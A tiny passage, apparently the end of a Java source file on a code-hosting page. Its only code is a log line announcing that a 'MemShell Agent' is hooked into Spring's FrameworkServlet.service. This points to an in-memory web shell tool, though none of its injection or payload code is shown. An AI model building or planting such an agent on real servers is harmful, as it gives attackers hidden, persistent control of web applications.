System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user